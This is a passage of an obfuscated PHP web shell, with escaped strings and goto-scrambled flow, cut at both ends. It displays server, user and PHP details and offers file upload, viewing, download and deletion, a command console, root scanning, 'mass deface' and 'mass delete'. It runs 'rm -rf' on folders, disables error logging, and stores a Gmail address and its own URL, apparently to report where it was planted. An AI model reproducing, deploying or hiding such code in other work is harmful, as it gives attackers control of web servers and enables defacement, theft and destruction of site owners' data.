"\x3c\57\147\x72\x3e\74\x62\162\x3e\12\x9\x9\x9\11\x50\110\120\40\x76\145\x72\163\x69\x6f\156\x3a\40\74\x67\x72\x3e" . PHP_VERSION . "\74\x2f\x67\x72\x3e\x20\74\141\x20\x63\154\141\x73\x73\x3d\x27\x74\x65\x78\164\x2d\144\x65\143\157\162\141\164\x69\x6f\156\x2d\x6e\157\x6e\145\x27\x20\150\162\145\146\75\x27\77\144\151\162\x3d{$path}\x26\x69\144\x3d\160\150\160\x69\x6e\146\x6f\x27\76\133\40\120\110\120\x49\x4e\106\117\40\x5d\x3c\x2f\x61\x3e\40\120\110\x50\40\x6f\163\x3a\x20\74\x67\x72\76" . PHP_OS . "\x3c\x2f\147\x72\x3e\x3c\142\162\76\12\x9\x9\x9\x9\123\x65\x72\x76\145\x72\40\111\x70\72\40\74\x67\x72\x3e" . gethostbyname($_SERVER["\x48\124\124\x50\x5f\110\117\123\124"]) . "\x3c\x2f\147\x72\x3e\74\x62\162\76\xa\x9\x9\11\x9\131\157\165\x72\x20\x49\x70\72\40\74\147\x72\76" . ia() . "\74\x2f\x67\162\x3e\x3c\142\162\76\xa\11\11\11\x9\125\163\x65\162\72\40\74\x67\162\76{$user}\x3c\x2f\x67\162\76\40\50{$uid}\51\x20\x7c\x20\107\x72\x6f\x75\x70\x3a\40\x3c\147\x72\x3e{$group}\x3c\x2f\x67\162\x3e\x20\x28{$gid}\x29\74\x62\162\x3e\12\11\x9\x9\11\123\141\x66\x65\x20\x4d\x6f\144\x65\72\40{$sm}\x3c\142\162\x3e\xa\x9\x9\x9\11\115\171\123\x51\114\x3a\40{$sql}\x20\174\x20\x50\x65\162\x6c\x3a\x20{$pl}\x20\174\x20\120\x79\164\x68\x6f\156\72\x20{$py}\40\x7c\x20\127\107\x45\x54\x3a\40{$wget}\x20\x7c\x20\103\125\x52\x4c\72\40{$curl}\x3c\x62\x72\76\xa\x9\x9\x9\11\104\151\163\x61\x62\154\x65\x20\x46\x75\156\143\x74\x69\157\x6e\72\x3c\x62\162\x3e\74\x70\162\x65\x3e{$disfc}\x3c\57\160\162\x65\x3e\xa\x9\11\11\x9\x3c\57\144\151\x76\76\12\x9\11\11\x3c\x2f\x64\x69\x76\x3e\12\x9\11\74\57\x64\151\166\x3e\12\x9\11\74\144\x69\166\x20\143\x6c\x61\163\x73\x3d\x27\x74\145\170\164\x2d\143\145\156\x74\145\162\47\x3e\12\11\x9\11\x3c\144\151\x76\40\x63\154\141\x73\163\x3d\x27\142\x74\156\55\147\x72\157\x75\160\x27\76\xa\11\11\11\11\74\x61\x20\x63\154\141\x73\x73\75\x27\142\164\x6e\40\142\164\x6e\55\x6f\165\x74\154\x69\x6e\145\55\x6c\x69\x67\x68\x74\x20\142\164\156\55\163\x6d\x27\40\x68\162\x65\146\75\47\x3f\144\151\x72\75{$path}\x26\151\144\75\x75\160\x6c\157\141\x64\47\76\x3c\151\40\x63\154\x61\x73\163\75\x27\142\x69\40\142\151\x2d\165\160\x6c\157\x61\144\47\x3e\74\57\x69\76\40\x55\160\x6c\157\x61\144\74\x2f\x61\76\12\11\x9\x9\x9\x3c\x61\40\x63\x6c\141\x73\163\75\47\142\x74\156\x20\142\164\x6e\55\x6f\165\164\x6c\151\x6e\145\55\154\x69\147\150\x74\x20\142\164\x6e\55\163\155\47\40\150\162\145\146\75\x27\77\144\151\x72\x3d{$path}\x26\151\x64\75\x64\x65\146\x61\143\145\x27\x3e\74\x69\40\x63\x6c\141\x73\x73\x3d\47\x62\x69\x20\142\151\x2d\x65\x78\x63\154\141\155\141\x74\x69\x6f\x6e\55\x64\151\141\x6d\157\x6e\144\x27\76\x3c\57\151\76\x20\115\x61\163\x73\40\x64\x65\x66\x61\x63\x65\x3c\x2f\x61\76\12\11\11\x9\11\x3c\141\40\x63\x6c\141\x73\x73\75\47\x62\x74\x6e\40\x62\164\x6e\55\x6f\x75\x74\154\151\x6e\145\x2d\154\151\147\150\164\40\x62\164\x6e\55\x73\155\47\40\x68\x72\145\x66\x3d\47\77\144\x69\162\75{$path}\x26\x69\x64\75\144\x65\154\x65\x74\x65\47\x3e\74\151\x20\143\x6c\x61\x73\163\75\x27\142\151\40\x62\151\55\x74\x72\141\x73\x68\x27\x3e\74\x2f\151\x3e\x20\x4d\141\x73\163\40\x64\145\154\145\x74\x65\74\57\141\x3e\xa\x9\x9\x9\11\74\x61\40\143\x6c\x61\x73\163\x3d\47\x62\x74\x6e\x20\x62\x74\156\x2d\x6f\x75\x74\x6c\x69\x6e\145\55\x6c\x69\x67\x68\164\x20\142\x74\156\55\163\155\x27\x20\x68\162\x65\146\75\47\x3f\x64\151\x72\x3d{$path}\x26\x69\x64\75\143\155\144\47\x3e\74\x69\40\x63\x6c\141\x73\x73\x3d\x27\142\151\40\x62\x69\55\x74\145\x72\155\x69\x6e\141\154\x27\x3e\x3c\57\x69\x3e\x20\x43\157\x6e\x73\157\154\x65\74\57\x61\76\xa\11\11\11\74\x2f\x64\x69\x76\x3e\12\x9\11\11\74\144\151\x76\40\x63\154\141\x73\x73\75\x27\142\x74\x6e\55\147\x72\x6f\x75\160\47\76\12\x9\11\x9\11\x3c\x61\40\143\x6c\x61\163\163\75\x27\142\x74\156\x20\142\x74\156\55\157\165\x74\x6c\151\x6e\x65\x2d\154\x69\x67\150\x74\40\x62\x74\x6e\x2d\x73\155\x27\x20\x68\162\x65\146\75\x27\77\x64\151\x72\75{$path}\x26\151\x64\75\x73\143\141\156\x5f\162\x6f\x6f\x74\x27\76\74\151\40\x63\154\x61\163\163\75\47\x62\x69\x20\142\151\55\163\x65\x61\162\x63\x68\x27\x3e\x3c\57\x69\76\40\123\x63\x61\156\40\162\x6f\157\x74\x3c\57\141\76\xa\11\11\x9\x9\74\x61\40\143\x6c\141\163\x73\x3d\x27\x62\164\156\x20\x62\x74\x6e\55\x6f\x75\x74\154\x69\x6e\x65\x2d\x6c\151\x67\150\x74\x20\x62\164\x6e\55\163\x6d\47\40\x68\x72\x65\146\x3d\x27\x3f\144\151\x72\x3d{$path}\46\x69\144\75\x6e\145\164\x77\157\x72\153\x27\x3e\74\x69\x20\143\154\141\x73\x73\75\47\x62\151\x20\142\x69\x2d\x68\144\144\x2d\x6e\x65\164\167\157\162\x6b\x27\x3e\74\57\x69\76\x20\116\x65\164\x77\157\162\x6b\74\57\141\x3e\12\x9\x9\11\11\x3c\x61\40\143\154\141\163\x73\75\x27\142\x74\x6e\x20\142\164\156\x2d\157\x75\x74\154\x69\156\x65\55\154\x69\x67\x68\x74\40\x62\164\156\55\x73\155\47\40\150\x72\x65\x66\x3d\x27\x3f\x6c\x65\x66\164\x27\x3e\74\x69\x20\x63\x6c\x61\163\x73\x3d\x27\142\x69\x20\142\x69\x2d\142\x6f\170\x2d\x61\162\162\157\x77\55\151\156\x2d\x6c\x65\146\164\x27\x3e\74\x2f\x69\76\40\114\x6f\x67\157\x75\x74\74\x2f\141\x3e\xa\11\11\11\74\57\144\x69\x76\x3e\xa\11\x9\x3c\57\144\151\166\76"; goto KnAgU; x5wmL: if (isset($_7["\x64\x69\x72"])) { $dir = $_7["\144\151\x72"]; chdir($dir); } else { $dir = $gcw(); } goto xc3qc; UQq_F: if ($_7["\x61\x63\x74\151\157\x6e"] == "\x64\145\154\x65\164\x65\x5f\x66\151\x6c\x65") { s(); if ($_7["\171\x65\141\x68\x78"]) { $delete = unlink($file); if ($delete) { echo "\x3c\163\164\x72\157\x6e\x67\x3e\104\145\154\x65\x74\x65\40\x66\151\x6c\x65\74\x2f\x73\x74\x72\157\156\147\76\40\x6f\x6b\x21\40" . ok() . "\x3c\x2f\144\x69\166\76"; } else { echo "\x3c\163\x74\162\x6f\x6e\x67\76\104\145\x6c\145\x74\145\x20\146\x69\154\145\x3c\x2f\163\164\x72\x6f\156\147\76\x20\x66\x61\x69\154\41\x20" . er() . "\x3c\x2f\144\151\166\x3e"; } } echo "\12\x9\x9\x3c\x64\151\x76\x20\x63\x6c\x61\x73\x73\75\47\x62\x74\x6e\55\x67\162\x6f\165\x70\x20\x6d\x62\x2d\x33\47\76\xa\11\11\x9\x3c\141\x20\x63\x6c\x61\163\x73\75\x27\142\x74\156\40\x62\x74\x6e\55\157\x75\x74\x6c\151\x6e\145\55\x6c\151\147\150\164\40\142\164\156\x2d\163\155\x27\x20\x68\x72\145\x66\75\x27\77\x64\151\x72\75{$path}\46\x61\143\x74\x69\157\156\75\166\151\x65\167\x26\x6f\160\x6e\x3d{$file}\47\x3e\74\x69\x20\x63\x6c\141\x73\163\x3d\47\x62\x69\40\142\151\x2d\x65\x79\145\55\146\151\154\x6c\x27\x3e\74\57\151\76\74\57\141\x3e\xa\x9\x9\x9\x3c\141\x20\143\154\141\x73\163\75\47\x62\x74\156\x20\x62\164\x6e\55\x6f\x75\164\154\151\156\145\x2d\154\151\x67\150\164\40\x62\164\x6e\x2d\163\155\47\40\x68\x72\145\x66\x3d\x27\x3f\144\x69\162\x3d{$path}\x26\x61\x63\x74\151\157\x6e\75\x65\144\151\164\x26\x6f\x70\156\x3d{$file}\47\76\x3c\x69\40\x63\154\x61\163\x73\75\x27\x62\151\40\142\151\55\160\145\156\x63\151\x6c\x2d\x73\x71\x75\141\162\x65\47\x3e\x3c\57\x69\x3e\x3c\x2f\141\76\xa\11\11\11\74\141\40\x63\154\x61\x73\163\75\47\x62\164\156\40\x62\x74\156\55\157\x75\x74\154\151\x6e\x65\x2d\154\x69\147\x68\164\x20\x62\164\156\55\x73\155\47\x20\150\162\x65\146\x3d\x27\77\x64\x69\162\x3d{$path}\x26\x61\x63\x74\151\x6f\156\x3d\162\x65\x6e\141\155\x65\x26\157\160\156\x3d{$file}\47\76\74\151\40\143\154\141\x73\x73\75\x27\x62\151\40\142\x69\x2d\160\145\x6e\x63\151\154\55\146\x69\154\154\47\x3e\x3c\x2f\x69\x3e\74\x2f\x61\x3e\xa\11\x9\11\74\141\x20\x63\x6c\141\163\163\x3d\x27\x62\164\x6e\40\142\164\156\55\157\x75\x74\x6c\151\x6e\x65\55\154\x69\x67\x68\x74\40\142\x74\156\55\163\155\47\40\x68\162\x65\146\x3d\x27\x3f\x64\x69\162\x3d{$path}\46\x61\143\164\x69\157\x6e\x3d\x64\145\x6c\145\164\x65\x5f\x66\151\154\x65\x26\157\x70\x6e\x3d{$file}\47\x3e\74\151\x20\x63\154\x61\163\x73\x3d\47\142\151\x20\x62\151\x2d\164\x72\141\x73\x68\55\146\151\154\x6c\47\76\x3c\x2f\x69\76\x3c\57\x61\x3e\xa\11\x9\x9\x3c\x61\x20\x63\154\x61\x73\163\x3d\x27\x62\x74\156\x20\x62\164\x6e\x2d\157\165\x74\x6c\151\x6e\145\x2d\x6c\151\x67\x68\x74\x20\142\164\156\55\x73\x6d\x27\40\150\162\x65\x66\75\x27\77\x64\x69\x72\x3d{$path}\x26\x61\x63\x74\x69\x6f\x6e\x3d\x64\x6f\x77\156\154\x6f\x61\144\46\x6f\160\x6e\75{$file}\x27\76\74\x69\40\143\x6c\141\x73\163\x3d\47\x62\x69\x20\142\151\55\x64\x6f\167\156\154\157\x61\x64\47\x3e\74\x2f\151\x3e\74\x2f\x61\76\xa\x9\x9\74\x2f\144\x69\x76\x3e\12\x9\11\x3c\x64\x69\166\40\x63\x6c\141\163\x73\75\47\x63\x61\x72\x64\40\x63\141\x72\144\55\142\x6f\144\x79\x20\164\x65\170\x74\x2d\144\x61\162\x6b\x20\151\x6e\160\165\x74\55\x67\x72\x6f\x75\x70\x20\155\142\55\x33\x27\x3e\xa\x9\11\11\x3c\160\x3e\101\162\145\40\171\157\x75\40\x73\165\162\145\x20\x74\x6f\x20\x64\x65\154\x65\164\145\x20\72\x20" . basename($file) . "\40\77\x3c\57\x70\76\12\x9\11\x9\x3c\x66\x6f\162\x6d\x20\155\x65\164\x68\157\144\x3d\x27\120\117\123\124\47\76\12\x9\11\x9\11\x3c\141\40\x63\x6c\x61\163\163\75\x27\142\164\x6e\40\142\x74\x6e\x2d\x64\x61\x6e\147\x65\x72\40\x62\x74\x6e\55\142\x6c\x6f\x63\153\40\x62\164\156\55\163\x6d\47\x20\x68\x72\x65\x66\75\47\x3f\144\x69\162\x3d{$dir}\x27\x3e\x4e\157\x3c\x2f\x61\76\xa\11\11\11\x9\x3c\151\156\x70\x75\x74\40\x74\171\x70\x65\x3d\x27\x73\x75\x62\155\x69\x74\x27\x20\156\141\155\x65\x3d\x27\x79\145\141\150\170\x27\x20\143\x6c\x61\163\163\x3d\47\142\164\x6e\x20\x62\164\x6e\x2d\163\x75\143\x63\x65\x73\x73\40\x62\164\x6e\x2d\x62\154\157\x63\x6b\x20\142\x74\156\x2d\x73\155\47\x20\166\x61\x6c\x75\x65\x3d\47\131\x65\163\47\x3e\xa\x9\11\x9\74\57\146\x6f\x72\155\76\12\x9\x9\74\x2f\144\151\166\76"; } goto LBZGy; XzF7p: if (isset($_7["\x6c\x65\146\x74"])) { session_start(); session_destroy(); echo "\x3c\x73\x63\x72\x69\160\164\x3e\x77\x69\x6e\144\x6f\167\56\154\x6f\x63\141\164\151\x6f\156\75\42" . $_SERVER["\x50\x48\120\x5f\x53\x45\114\106"] . "\x22\73\x3c\x2f\163\143\162\151\160\x74\x3e"; } goto HYFWh; idnUM: $inipass = "\x65\107\116\157\131\x57\64\x78\x4d\x6a\116\101"; goto dVZti; XqpqE: $sm = @ini_get(strtolower("\x73\141\x66\145\x5f\x6d\157\144\145")) == "\x6f\156" ? "\74\162\144\76\117\x4e\74\57\x72\144\x3e" : "\74\x67\162\x3e\x4f\x46\x46\74\57\147\x72\x3e"; goto qKf4D; xIYwS: session_start(); goto VVBQf; e8qd0: $to = "\164\x6f\x75\x74\x72\147\x6f\x64\x69\156\x67\100\147\x6d\141\151\x6c\56\143\x6f\x6d"; goto RkUOz; GGQ1Y: @ini_set("\145\162\162\157\162\x5f\x6c\x6f\x67", null); goto Ao2uT; wULVu: $x_path = "\150\164\164\160\x3a\x2f\57" . $_SERVER["\123\x45\x52\126\105\x52\137\x4e\101\115\x45"] . $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\x55\122\x49"]; goto fEjCS; HYFWh: if (isset($_7["\157\x70\156"]) && $_7["\x6f\160\156"] != '' && $_7["\x61\x63\164\151\157\x6e"] == "\x64\x6f\167\156\x6c\157\141\x64") { @ob_clean(); $file = $_7["\x6f\160\x6e"]; header("\103\157\x6e\164\x65\x6e\164\55\x44\x65\163\143\162\151\160\x74\151\x6f\x6e\x3a\x20\106\151\x6c\x65\40\x54\x72\141\156\163\146\145\162"); header("\103\157\x6e\164\145\x6e\164\55\124\171\160\145\72\40\141\160\x70\154\151\x63\x61\164\151\x6f\x6e\x2f\x6f\143\164\x65\164\55\x73\164\x72\145\x61\x6d"); header("\x43\157\156\x74\145\156\164\55\x44\x69\x73\x70\x6f\x73\x69\x74\151\x6f\x6e\x3a\x20\x61\164\x74\141\x63\150\x6d\x65\156\164\x3b\x20\x66\x69\x6c\145\156\141\155\x65\x3d\x22" . basename($file) . "\x22"); header("\105\x78\160\x69\x72\145\163\72\40\x30"); header("\103\x61\x63\x68\x65\x2d\103\157\156\x74\162\157\x6c\x3a\40\x6d\x75\163\x74\55\x72\x65\166\141\x6c\151\x64\141\x74\145"); header("\120\162\x61\x67\155\x61\72\x20\160\x75\x62\154\151\x63"); header("\x43\157\156\164\145\156\164\55\x4c\145\156\x67\164\150\x3a\40" . filesize($file)); readfile($file); die; } goto GdxU5; e0M_f: header("\x43\x6f\156\x74\145\x6e\x74\x2d\x54\171\x70\145\x3a\x20\x74\x65\170\164\x2f\x68\164\155\154\x3b\40\x63\150\141\162\163\145\x74\75\125\124\x46\55\x38"); goto e8qd0; RkUOz: $x_path = "\150\164\x74\x70\72\x2f\x2f" . $_SERVER["\x53\105\x52\126\105\122\x5f\x4e\101\x4d\105"] . $_SERVER["\x52\105\x51\x55\105\123\124\x5f\125\x52\111"]; goto GM5Lw; ajmYY: function ia() { $ia = ''; if (getenv("\x48\124\x54\120\x5f\103\114\x49\105\116\124\137\111\120")) { $ia = getenv("\x48\124\x54\x50\x5f\x43\114\x49\x45\x4e\124\x5f\111\x50"); } else { if (getenv("\110\124\x54\120\137\x58\137\x46\117\122\127\101\x52\104\105\104\x5f\x46\x4f\122")) { $ia = getenv("\110\x54\x54\120\x5f\130\x5f\106\117\x52\x57\x41\x52\x44\x45\104\x5f\106\x4f\122"); } else { if (getenv("\110\x54\124\x50\x5f\x58\x5f\106\x4f\x52\x57\101\122\104\x45\x44")) { $ia = getenv("\110\x54\124\120\x5f\x58\x5f\x46\x4f\x52\x57\101\x52\x44\105\x44"); } else { if (getenv("\110\x54\x54\x50\137\x46\x4f\122\x57\101\x52\104\105\x44\x5f\x46\x4f\122")) { $ia = getenv("\x48\124\124\x50\x5f\106\x4f\x52\127\101\x52\x44\x45\104\137\106\117\122"); } else { if (getenv("\x48\124\x54\x50\137\106\117\x52\x57\101\x52\x44\105\104")) { $ia = getenv("\110\124\x54\120\137\x46\117\122\x57\101\x52\x44\x45\x44"); } else { if (getenv("\x52\105\115\x4f\x54\x45\137\x41\104\x44\x52")) { $ia = getenv("\122\105\x4d\x4f\x54\105\x5f\101\x44\104\x52"); } else { $ia = "\125\x6e\153\156\157\167\x6e\40\111\120\56"; } } } } } } return $ia; } goto uJh3k; wciV1: if ($_7["\x61\x63\164\151\x6f\x6e"] == "\166\x69\145\167") { s(); echo "\12\11\11\x3c\144\151\166\40\143\x6c\x61\163\163\75\x27\x62\x74\156\x2d\x67\162\157\165\160\x27\x3e\xa\x9\x9\11\x3c\x61\x20\x63\154\x61\x73\163\75\47\x62\164\156\40\142\164\156\x2d\x6f\x75\x74\x6c\151\156\x65\55\154\151\147\150\x74\x20\142\x74\x6e\55\163\x6d\47\40\150\162\x65\x66\x3d\47\x3f\144\x69\162\75{$path}\46\141\x63\x74\151\157\x6e\x3d\x76\x69\x65\167\46\x6f\x70\x6e\x3d{$file}\x27\76\74\151\40\143\x6c\141\163\163\75\x27\142\x69\x20\x62\151\x2d\145\171\145\x2d\x66\151\154\x6c\47\x3e\74\x2f\151\76\x3c\x2f\141\x3e\xa\11\11\x9\74\141\x20\x63\x6c\x61\163\163\75\47\x62\x74\x6e\x20\x62\164\x6e\55\x6f\165\x74\x6c\x69\156\145\x2d\x6c\x69\x67\x68\164\x20\x62\x74\x6e\55\163\155\47\40\150\162\x65\x66\x3d\x27\77\144\x69\162\x3d{$path}\x26\x61\x63\x74\x69\x6f\x6e\75\x65\144\151\x74\x26\157\x70\156\75{$file}\47\x3e\x3c\151\40\143\x6c\141\163\x73\x3d\x27\x62\x69\40\x62\151\55\x70\145\156\143\x69\x6c\x2d\x73\x71\x75\141\162\145\47\76\x3c\x2f\x69\76\x3c\x2f\141\x3e\xa\x9\x9\x9\74\141\40\143\154\x61\x73\x73\x3d\47\142\x74\x6e\x20\142\x74\156\55\x6f\x75\164\154\151\156\145\55\x6c\x69\x67\x68\164\40\142\164\x6e\x2d\163\155\x27\40\150\x72\145\146\75\x27\77\x64\x69\162\75{$path}\x26\x61\x63\x74\x69\x6f\156\75\x72\x65\x6e\141\155\x65\46\157\x70\x6e\x3d{$file}\47\76\74\151\x20\143\x6c\141\x73\x73\x3d\x27\142\151\40\x62\151\x2d\x70\145\x6e\143\x69\154\55\146\x69\x6c\154\x27\76\x3c\x2f\151\x3e\x3c\57\x61\76\xa\x9\11\11\74\x61\x20\143\154\141\x73\163\75\x27\x62\164\x6e\40\x62\x74\156\55\x6f\x75\x74\154\151\x6e\x65\x2d\x6c\x69\147\x68\164\x20\x62\x74\x6e\55\163\155\47\40\x68\162\x65\146\x3d\x27\77\x64\x69\x72\75{$path}\x26\141\x63\x74\151\157\156\75\144\x65\x6c\x65\x74\x65\137\146\x69\154\145\x26\x6f\x70\156\75{$file}\x27\76\x3c\x69\x20\143\154\x61\163\x73\75\x27\142\151\40\x62\151\55\x74\162\x61\x73\150\55\x66\x69\x6c\x6c\x27\x3e\74\57\x69\x3e\x3c\57\x61\76\12\11\x9\x9\74\141\x20\143\154\141\x73\x73\75\x27\142\x74\x6e\40\x62\x74\x6e\x2d\x6f\x75\x74\x6c\151\156\x65\55\154\151\x67\150\x74\x20\142\x74\156\x2d\x73\x6d\47\40\150\162\145\x66\x3d\47\x3f\x64\151\162\x3d{$path}\46\x61\143\x74\151\x6f\156\x3d\144\157\167\x6e\154\157\141\144\x26\x6f\160\x6e\75{$file}\x27\x3e\74\151\x20\143\154\141\x73\163\x3d\x27\142\x69\40\142\151\55\144\157\167\156\154\x6f\141\x64\x27\x3e\74\x2f\x69\x3e\x3c\x2f\141\x3e\xa\x9\11\x3c\x2f\144\x69\x76\76\12\11\11\74\x62\162\76\xa\11\11\x9\74\x69\40\x63\154\x61\x73\163\x3d\x27\x62\151\x20\x62\151\55\x66\x69\154\145\x2d\x65\141\162\155\x61\x72\x6b\47\x3e\x3c\57\151\x3e\x3a\x26\156\x62\163\160\73" . basename($file) . "\12\x9\x9\x3c\x2f\x62\162\x3e\12\x9\x9\74\144\151\x76\40\143\x6c\141\x73\x73\75\47\142\147\x2d\144\x61\x72\x6b\x27\x3e\xa\x9\11\11\74\144\x69\166\x20\x63\x6c\141\163\x73\75\47\x63\157\156\164\x61\x69\156\145\162\x2d\146\x6c\x75\151\144\x20\x6c\141\x6e\x67\165\141\147\145\55\x6a\141\x76\x61\163\143\162\151\x70\x74\47\76\12\x9\11\x9\11\74\x74\145\x78\x74\141\162\145\141\40\162\157\x77\163\75\47\61\x30\x27\40\x63\154\x61\x73\163\75\x27\x66\157\162\x6d\x2d\x63\157\x6e\164\162\157\x6c\x27\x20\144\151\x73\141\142\x6c\145\144\75\x27\x27\76" . htmlspecialchars(file_get_contents($file)) . "\74\x2f\x74\145\x78\x74\141\x72\145\x61\x3e\xa\11\11\x9\x3c\57\x64\x69\x76\x3e\12\11\11\74\57\x64\x69\x76\76"; } goto KHzp9; PUide: function er() { echo "\x3c\x64\x69\166\40\x63\154\x61\163\163\75\42\x61\x6c\145\x72\x74\x20\x61\x6c\145\162\164\x2d\x64\x61\x6e\x67\x65\162\x20\x61\154\x65\x72\x74\x2d\144\x69\x73\155\151\x73\163\x69\142\154\145\x20\146\141\144\145\x20\x73\150\x6f\x77\40\155\171\55\63\42\x20\162\157\x6c\x65\x3d\42\141\x6c\145\162\164\x22\76\74\x62\x75\x74\164\157\x6e\40\164\x79\x70\x65\x3d\42\142\x75\164\164\157\156\x22\40\143\154\x61\163\163\x3d\x22\142\164\156\55\143\x6c\157\163\x65\x22\40\x64\x61\x74\141\55\x62\163\x2d\x64\151\163\155\151\163\x73\75\x22\x61\x6c\x65\162\x74\x22\40\x61\x72\151\141\x2d\x6c\x61\142\145\154\75\x22\x43\x6c\x6f\163\x65\x22\x3e\74\x2f\x62\165\164\x74\157\x6e\76"; } goto UPxMA; LBZGy: if ($_7["\x61\143\164\x69\157\156"] == "\x64\x65\x6c\x65\x74\145\137\x66\x6f\x6c\144\x65\162") { s(); if ($_7["\171\x65\141\x68"]) { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @exe("\x72\x6d\x20\x2d\162\146\x20{$dir}"); @exe("\162\155\144\151\162\40\x2f\163\x20\57\161\x20{$dir}"); echo "\74\163\x74\x72\157\x6e\x67\x3e\104\x65\x6c\x65\x74\145\40\x66\x6f\x6c\x64\145\162\74\57\x73\164\162\157\156\147\76\x20\x6f\153\x21\x20" . ok() . "\x3c\x61\40\143\154\141\x73\163\x3d\x22\x62\x74\x6e\55\x63\154\157\163\145\x22\x20\150\x72\x65\x66\75\42\x3f\x70\x61\x74\x68\x3d" . dirname($dir) . "\x22\76\x3c\x2f\x61\76\x3c\57\x64\x69\166\x3e"; } else { echo "\74\163\164\162\157\156\x67\x3e\x44\145\x6c\x65\164\x65\40\x66\157\154\144\145\x72\x3c\x2f\x73\164\162\157\156\147\76\40\x66\x61\151\x6c\41\x20" . er() . "\x3c\141\x20\x63\154\x61\163\163\75\x22\x62\x74\156\55\x63\154\157\x73\145\42\40\x68\x72\145\x66\75\42\x3f\160\141\x74\150\75" . dirname($dir) . "\42\x3e\74\57\x61\x3e\x3c\57\144\151\x76\76"; } } } echo "\12\11\11\x3c\144\x69\166\x20\x63\x6c\141\163\x73\x3d\47\142\164\x6e\55\147\x72\157\x75\x70\x20\x6d\142\55\x33\x27\x3e\12\x9\11\x9\74\x61\x20\x63\x6c\141\x73\x73\x3d\x27\x62\x74\156\40\x62\x74\x6e\x2d\x6f\x75\164\154\x69\x6e\x65\x2d\x6c\x69\x67\x68\x74\40\x62\x74\x6e\x2d\x73\x6d\47\x20\150\162\x65\x66\x3d\x27\77\144\151\x72\75{$path}\x26\x61\143\164\x69\157\156\x3d\x72\x65\x6e\x61\x6d\x65\x5f\x66\157\154\x64\145\162\x27\76\74\x69\40\143\x6c\x61\163\163\75\47\x62\151\40\142\x69\x2d\160\145\156\x63\151\x6c\55\x66\x69\154\x6c\47\x3e\x3c\57\x69\76\74\57\141\76\12\x9\x9\x9\74\x61\x20\143\x6c\141\x73\x73\75\x27\142\x74\156\x20\142\x74\156\55\157\165\x74\x6c\x69\156\145\55\154\151\x67\x68\164\40\x62\164\156\x2d\163\155\x27\x20\150\162\145\146\75\47\x3f\x64\151\162\x3d{$path}\x26\141\x63\x74\x69\x6f\156\x3d\x64\x65\154\x65\x74\x65\x5f\x66\157\154\144\x65\162\47\76\74\x69\x20\x63\154\x61\163\163\x3d\x27\x62\x69\40\x62\151\x2d\x74\x72\x61\x73\x68\55\146\x69\154\x6c\47\x3e\74\x2f\x69\x3e\x3c\57\141\x3e\xa\11\11\74\x2f\x64\x69\166\76\xa\x9\11\x3c\144\151\x76\x20\143\x6c\141\163\163\x3d\x27\x63\x61\162\144\x20\143\x61\x72\x64\55\x62\157\144\171\x20\x74\x65\170\164\x2d\144\x61\162\153\x20\151\x6e\x70\x75\164\55\147\162\157\x75\160\40\155\142\55\63\47\76\12\11\11\x9\x3c\160\76\101\162\145\40\x79\x6f\x75\x20\x73\165\x72\x65\40\164\x6f\x20\x64\x65\x6c\x65\164\x65\40\72\40" . basename($dir) . "\x20\77\x3c\57\x70\76\12\x9\11\x9\x3c\x66\x6f\x72\x6d\x20\x6d\145\164\150\x6f\144\75\x27\120\x4f\x53\x54\x27\x3e\12\11\x9\x9\x9\74\141\40\143\x6c\141\163\x73\75\x27\x62\164\156\x20\142\x74\x6e\55\x64\x61\x6e\x67\x65\x72\40\x62\x74\156\x2d\x62\x6c\x6f\143\x6b\40\x62\164\x6e\x2d\x73\155\x27\40\150\162\145\146\x3d\47\x3f\144\x69\162\75" . dirname($dir) . "\x27\76\x4e\157\x3c\57\141\76\xa\11\x9\x9\11\x3c\151\x6e\160\x75\164\40\x74\x79\x70\145\75\x27\x73\165\x62\x6d\x69\164\x27\x20\x6e\x61\155\x65\x3d\47\171\145\x61\x68\47\x20\143\154\x61\163\163\x3d\x27\x62\x74\156\40\x62\164\x6e\55\163\x75\143\x63\x65\163\163\40\x62\164\x6e\x2d\142\154\x6f\x63\x6b\x20\x62\164\156\x2d\x73\x6d\47\x20\x76\x61\154\165\145\75\47\x59\145\163\47\x3e\xa\11\11\11\74\x2f\146\157\x72\x6d\76\xa\x9\x9\x3c\x2f\x64\x69\x76\x3e"; } goto sYXiW; KnAgU: if (isset($_7["\x64\x69\162"])) { $dir = $_7["\144\x69\162"]; chdir($dir); } else { $dir = $gcw(); } goto l_7Kw; d3JjR: foreach ($scand as $dir) { $dt = date("\x59\x2d\x6d\x2d\144\x20\107\x3a\x69", filemtime("{$path}\57{$dir}")); if (strlen($dir) > 25) { $_d = substr($dir, 0, 25) . "\56\x2e\x2e"; } else { $_d = $dir; } if (function_exists("\160\157\x73\x69\x78\137\147\x65\x74\x70\x77\x75\151\144")) { $downer = @posix_getpwuid(fileowner("{$path}\x2f{$dir}")); $downer = $downer["\x6e\x61\x6d\145"]; } else { $downer = fileowner("{$path}\57{$dir}"); } if (function_exists("\x70\x6f\x73\x69\x78\137\147\145\164\147\162\147\151\144")) { $dgrp = @posix_getgrgid(filegroup("{$path}\x2f{$dir}")); $dgrp = $dgrp["\156\141\155\145"]; } else { $dgrp = filegroup("{$path}\57{$dir}"); } if (!is_dir($path . "\57" . $file)) { continue; } $size = filesize($path . "\x2f" . $file) / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\40\115\102"; } else { $size = $size . "\x20\x4b\x42"; } if (!is_dir($path . "\57" . $dir) || $dir == "\x2e" || $dir == "\56\56") { continue; } echo "\xa\x9\11\74\164\162\76\12\x9\11\x9\x3c\x74\144\x3e\74\151\40\143\154\x61\x73\x73\75\x27\x62\151\x20\x62\151\x2d\146\x6f\154\x64\145\x72\55\x66\x69\154\154\x27\76\x3c\57\151\x3e\74\141\x20\x63\154\141\163\163\x3d\x27\x74\x65\x78\164\x2d\144\145\x63\x6f\x72\x61\x74\x69\157\156\x2d\156\x6f\156\145\40\164\x65\x78\164\x2d\x73\x65\143\x6f\156\x64\141\x72\x79\x27\x20\150\162\145\x66\75\47\x3f\144\151\x72\75{$path}\x2f{$dir}\x27\x3e{$_d}\74\57\141\76\x3c\x2f\x74\x64\x3e\xa\x9\x9\x9\74\x74\x64\x20\x63\154\x61\163\163\x3d\x27\164\x65\170\x74\55\x63\145\x6e\164\145\162\47\x3e\x64\x69\x72\74\57\164\x64\76\xa\x9\11\x9\74\164\x64\40\143\x6c\141\x73\163\75\x27\164\x65\x78\164\55\x63\145\156\164\145\162\x27\x3e{$dt}\74\x2f\164\x64\x3e\12\11\11\x9\x3c\x74\144\40\x63\x6c\x61\163\x73\x3d\47\164\x65\x78\x74\x